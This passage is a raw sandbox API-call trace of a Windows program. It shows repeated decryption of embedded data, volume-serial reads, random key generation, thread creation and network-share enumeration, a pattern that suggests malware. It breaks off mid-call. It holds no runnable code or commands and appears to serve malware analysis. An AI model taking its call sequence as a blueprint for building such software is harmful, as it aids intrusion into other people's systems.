RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d1710 [0138.929] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defc44*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defcac | out: phKey=0x2defcac*=0x871860) returned 1 [0138.929] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defc94, dwFlags=0x0) returned 1 [0138.929] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1710, pdwDataLen=0x2defc60 | out: pbData=0x1d1710, pdwDataLen=0x2defc60) returned 1 [0138.929] CryptDestroyKey (hKey=0x871860) returned 1 [0138.929] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d5f50 [0138.929] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d5f78 [0138.929] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0138.929] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defc1c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defc84 | out: phKey=0x2defc84*=0x871860) returned 1 [0138.929] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defc6c, dwFlags=0x0) returned 1 [0138.929] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x2defc38 | out: pbData=0x1dab88, pdwDataLen=0x2defc38) returned 1 [0138.929] CryptDestroyKey (hKey=0x871860) returned 1 [0138.930] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0138.930] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d5f50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0138.930] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f78 | out: hHeap=0x1d0000) returned 1 [0138.930] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1710 | out: hHeap=0x1d0000) returned 1 [0138.931] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2defcec, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2defcec*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.931] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0138.931] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d1710 [0138.931] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb90*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbf8 | out: phKey=0x2defbf8*=0x871860) returned 1 [0138.931] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbe0, dwFlags=0x0) returned 1 [0138.931] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1710, pdwDataLen=0x2defbac | out: pbData=0x1d1710, pdwDataLen=0x2defbac) returned 1 [0138.931] CryptDestroyKey (hKey=0x871860) returned 1 [0138.931] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d1728 [0138.931] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb88*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbf0 | out: phKey=0x2defbf0*=0x871860) returned 1 [0138.931] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbd8, dwFlags=0x0) returned 1 [0138.931] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1728, pdwDataLen=0x2defba4 | out: pbData=0x1d1728, pdwDataLen=0x2defba4) returned 1 [0138.931] CryptDestroyKey (hKey=0x871860) returned 1 [0138.931] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d5f50 [0138.931] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb80*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbe8 | out: phKey=0x2defbe8*=0x871860) returned 1 [0138.931] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbd0, dwFlags=0x0) returned 1 [0138.931] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x2defb9c | out: pbData=0x1d5f50, pdwDataLen=0x2defb9c) returned 1 [0138.931] CryptDestroyKey (hKey=0x871860) returned 1 [0138.931] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0138.932] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb78*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbe0 | out: phKey=0x2defbe0*=0x871860) returned 1 [0138.932] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbc8, dwFlags=0x0) returned 1 [0138.932] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x2defb94 | out: pbData=0x1dab88, pdwDataLen=0x2defb94) returned 1 [0138.932] CryptDestroyKey (hKey=0x871860) returned 1 [0138.932] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d5f68 [0138.932] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb70*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbd8 | out: phKey=0x2defbd8*=0x871860) returned 1 [0138.932] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbc0, dwFlags=0x0) returned 1 [0138.932] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f68, pdwDataLen=0x2defb8c | out: pbData=0x1d5f68, pdwDataLen=0x2defb8c) returned 1 [0138.932] CryptDestroyKey (hKey=0x871860) returned 1 [0138.932] htonl (hostlong=0x8443a5af) returned 0xafa54384 [0138.932] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x20, pbBuffer=0x2defca0 | out: pbBuffer=0x2defca0) returned 1 [0138.932] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x28) returned 0x1d14d0 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d5f80 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4) returned 0x1d5f98 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x14) returned 0x1d1500 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x1d1520 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x80) returned 0x2166f90 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x2167018 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x82) returned 0x2167030 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x21670c0 [0138.933] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4) returned 0x1d1740 [0138.933] CryptAcquireContextW (in: phProv=0xadfcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xadfcf4*=0x848128) returned 1 [0138.934] CryptGenRandom (in: hProv=0x848128, dwLen=0x55, pbBuffer=0x2defc22 | out: pbBuffer=0x2defc22) returned 1 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x21670d8 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x80) returned 0x21670f0 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x2167178 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x2) returned 0x2167190 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4) returned 0x217bf50 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217bf60 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x80) returned 0x217bf78 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c018 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4) returned 0x217c400 [0138.934] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x2167190, Size=0x82) returned 0x217c410 [0138.934] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x217c400, Size=0x100) returned 0x217c4a0 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c030 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x82) returned 0x217c5a8 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c048 [0138.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x82) returned 0x217c638 [0138.934] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x217c410, Size=0x104) returned 0x217c6c8 [0138.934] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x217c4a0, Size=0x200) returned 0x217c7d8 [0138.935] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217bf50 | out: hHeap=0x1d0000) returned 1 [0138.935] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c7d8 | out: hHeap=0x1d0000) returned 1 [0138.941] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c018 | out: hHeap=0x1d0000) returned 1 [0138.941] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21670f0 | out: hHeap=0x1d0000) returned 1 [0138.941] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21670d8 | out: hHeap=0x1d0000) returned 1 [0138.943] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217bf78 | out: hHeap=0x1d0000) returned 1 [0138.943] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217bf60 | out: hHeap=0x1d0000) returned 1 [0138.943] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c6c8 | out: hHeap=0x1d0000) returned 1 [0138.943] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167178 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c5a8 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c030 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c638 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c048 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f98 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f80 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167030 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167018 | out: hHeap=0x1d0000) returned 1 [0138.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2166f90 | out: hHeap=0x1d0000) returned 1 [0138.945] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1520 | out: hHeap=0x1d0000) returned 1 [0138.945] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1740 | out: hHeap=0x1d0000) returned 1 [0138.945] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21670c0 | out: hHeap=0x1d0000) returned 1 [0138.945] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14d0 | out: hHeap=0x1d0000) returned 1 [0138.945] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1500 | out: hHeap=0x1d0000) returned 1 [0138.945] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0xa4) returned 0x217bf50 [0138.946] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1728 | out: hHeap=0x1d0000) returned 1 [0138.946] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0138.946] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0138.946] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f68 | out: hHeap=0x1d0000) returned 1 [0138.946] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x14) returned 0x1d1728 [0138.946] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x3c) returned 0x1d5f50 [0138.946] ResetEvent (hEvent=0xc8) returned 1 [0138.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xad3bdf, lpParameter=0x1d1728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0138.947] CloseHandle (hObject=0x104) returned 1 [0138.947] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d14d0 [0138.947] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defc44*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defcac | out: phKey=0x2defcac*=0x871860) returned 1 [0138.947] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defc94, dwFlags=0x0) returned 1 [0138.947] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d14d0, pdwDataLen=0x2defc60 | out: pbData=0x1d14d0, pdwDataLen=0x2defc60) returned 1 [0138.947] CryptDestroyKey (hKey=0x871860) returned 1 [0138.947] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d14f8 [0138.947] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x2166f90 [0138.947] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0138.947] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defc1c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defc84 | out: phKey=0x2defc84*=0x871860) returned 1 [0138.947] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defc6c, dwFlags=0x0) returned 1 [0138.947] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x2defc38 | out: pbData=0x1dab88, pdwDataLen=0x2defc38) returned 1 [0138.948] CryptDestroyKey (hKey=0x871860) returned 1 [0138.948] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0138.948] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d14f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0138.948] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2166f90 | out: hHeap=0x1d0000) returned 1 [0138.949] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14d0 | out: hHeap=0x1d0000) returned 1 [0138.949] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2defcec, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2defcec*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.949] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14f8 | out: hHeap=0x1d0000) returned 1 [0138.949] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c048 [0138.949] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb90*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbf8 | out: phKey=0x2defbf8*=0x871860) returned 1 [0138.950] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbe0, dwFlags=0x0) returned 1 [0138.950] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x217c048, pdwDataLen=0x2defbac | out: pbData=0x217c048, pdwDataLen=0x2defbac) returned 1 [0138.950] CryptDestroyKey (hKey=0x871860) returned 1 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c030 [0138.950] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb88*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbf0 | out: phKey=0x2defbf0*=0x871860) returned 1 [0138.950] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbd8, dwFlags=0x0) returned 1 [0138.950] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x217c030, pdwDataLen=0x2defba4 | out: pbData=0x217c030, pdwDataLen=0x2defba4) returned 1 [0138.950] CryptDestroyKey (hKey=0x871860) returned 1 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c018 [0138.950] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb80*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbe8 | out: phKey=0x2defbe8*=0x871860) returned 1 [0138.950] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbd0, dwFlags=0x0) returned 1 [0138.950] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x217c018, pdwDataLen=0x2defb9c | out: pbData=0x217c018, pdwDataLen=0x2defb9c) returned 1 [0138.950] CryptDestroyKey (hKey=0x871860) returned 1 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0138.950] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb78*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbe0 | out: phKey=0x2defbe0*=0x871860) returned 1 [0138.950] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbc8, dwFlags=0x0) returned 1 [0138.950] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x2defb94 | out: pbData=0x1dab88, pdwDataLen=0x2defb94) returned 1 [0138.950] CryptDestroyKey (hKey=0x871860) returned 1 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c060 [0138.950] CryptImportKey (in: hProv=0x8450c0, pbData=0x2defb70*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2defbd8 | out: phKey=0x2defbd8*=0x871860) returned 1 [0138.950] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x2defbc0, dwFlags=0x0) returned 1 [0138.950] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x217c060, pdwDataLen=0x2defb8c | out: pbData=0x217c060, pdwDataLen=0x2defb8c) returned 1 [0138.950] CryptDestroyKey (hKey=0x871860) returned 1 [0138.950] htonl (hostlong=0x8443a5af) returned 0xafa54384 [0138.950] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x20, pbBuffer=0x2defca0 | out: pbBuffer=0x2defca0) returned 1 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x28) returned 0x1d14d0 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c078 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4) returned 0x1d5f98 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x14) returned 0x1d1500 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c090 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x80) returned 0x2166f90 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c0a8 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x82) returned 0x2167018 [0138.950] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c0c0 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4) returned 0x1d1520 [0138.951] CryptGenRandom (in: hProv=0x848128, dwLen=0x55, pbBuffer=0x2defc22 | out: pbBuffer=0x2defc22) returned 1 [0138.951] GetLastError () returned 0x0 [0138.951] SetLastError (dwErrCode=0x0) [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c0d8 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x80) returned 0x21670a8 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c0f0 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x2) returned 0x2167130 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4) returned 0x2167140 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c108 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x80) returned 0x217c400 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c120 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4) returned 0x2167150 [0138.951] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x2167130, Size=0x82) returned 0x217c488 [0138.951] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x2167150, Size=0x100) returned 0x217c518 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c138 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x82) returned 0x217c620 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10) returned 0x217c150 [0138.951] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x82) returned 0x217c6b0 [0138.951] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x217c488, Size=0x104) returned 0x217c740 [0138.951] RtlReAllocateHeap (Heap=0x1d0000, Flags=0x0, Ptr=0x217c518, Size=0x200) returned 0x217c850 [0138.957] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167140 | out: hHeap=0x1d0000) returned 1 [0138.957] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c850 | out: hHeap=0x1d0000) returned 1 [0138.958] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c120 | out: hHeap=0x1d0000) returned 1 [0138.958] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21670a8 | out: hHeap=0x1d0000) returned 1 [0138.958] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c0d8 | out: hHeap=0x1d0000) returned 1 [0138.958] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c400 | out: hHeap=0x1d0000) returned 1 [0138.958] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c108 | out: hHeap=0x1d0000) returned 1 [0138.959] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c740 | out: hHeap=0x1d0000) returned 1 [0138.959] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c0f0 | out: hHeap=0x1d0000) returned 1 [0138.959] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c620 | out: hHeap=0x1d0000) returned 1 [0138.959] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c138 | out: hHeap=0x1d0000) returned 1 [0138.959] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c6b0 | out: hHeap=0x1d0000) returned 1 [0138.960] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c150 | out: hHeap=0x1d0000) returned 1 [0138.960] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f98 | out: hHeap=0x1d0000) returned 1 [0138.960] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c078 | out: hHeap=0x1d0000) returned 1 [0138.960] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167018 | out: hHeap=0x1d0000) returned 1 [0138.960] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c0a8 | out: hHeap=0x1d0000) returned 1 [0138.961] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2166f90 | out: hHeap=0x1d0000) returned 1 [0138.961] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c090 | out: hHeap=0x1d0000) returned 1 [0138.961] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1520 | out: hHeap=0x1d0000) returned 1 [0138.961] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c0c0 | out: hHeap=0x1d0000) returned 1 [0138.961] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d14d0 | out: hHeap=0x1d0000) returned 1 [0138.961] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1500 | out: hHeap=0x1d0000) returned 1 [0138.962] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0xa4) returned 0x2166f90 [0138.962] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c030 | out: hHeap=0x1d0000) returned 1 [0138.962] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c018 | out: hHeap=0x1d0000) returned 1 [0138.962] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0138.962] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x217c060 | out: hHeap=0x1d0000) returned 1 [0138.962] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x14) returned 0x1d14d0 [0138.962] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x3c) returned 0x1d14f0 [0138.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xad3bdf, lpParameter=0x1d14d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0138.966] CloseHandle (hObject=0x104) returned 1 [0138.966] WNetEnumResourceW (in: hEnum=0x878770, lpcCount=0x2defd0c, lpBuffer=0x2167f40, lpBufferSize=0x2defd18 | out: lpcCount=0x2defd0c, lpBuffer=0x2167f40, lpBufferSize=0x2defd18) returned 0x103 [0138.967] WNetCloseEnum (hEnum=0x878770) returned 0x0 [0138.968] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167f40 | out: hHeap=0x1d0000) returned 1 [0138.969] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x216bf48 | out: hHeap=0x1d0000) returned 1 [0138.970] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4000) returned 0x2167f40 [0138.970] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x216bf48 [0138.970] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2defcfc | out: lphEnum=0x2defcfc*=0x8955e8) returned 0x0 [0138.970] WNetEnumResourceW (in: hEnum=0x8955e8, lpcCount=0x2defcf4, 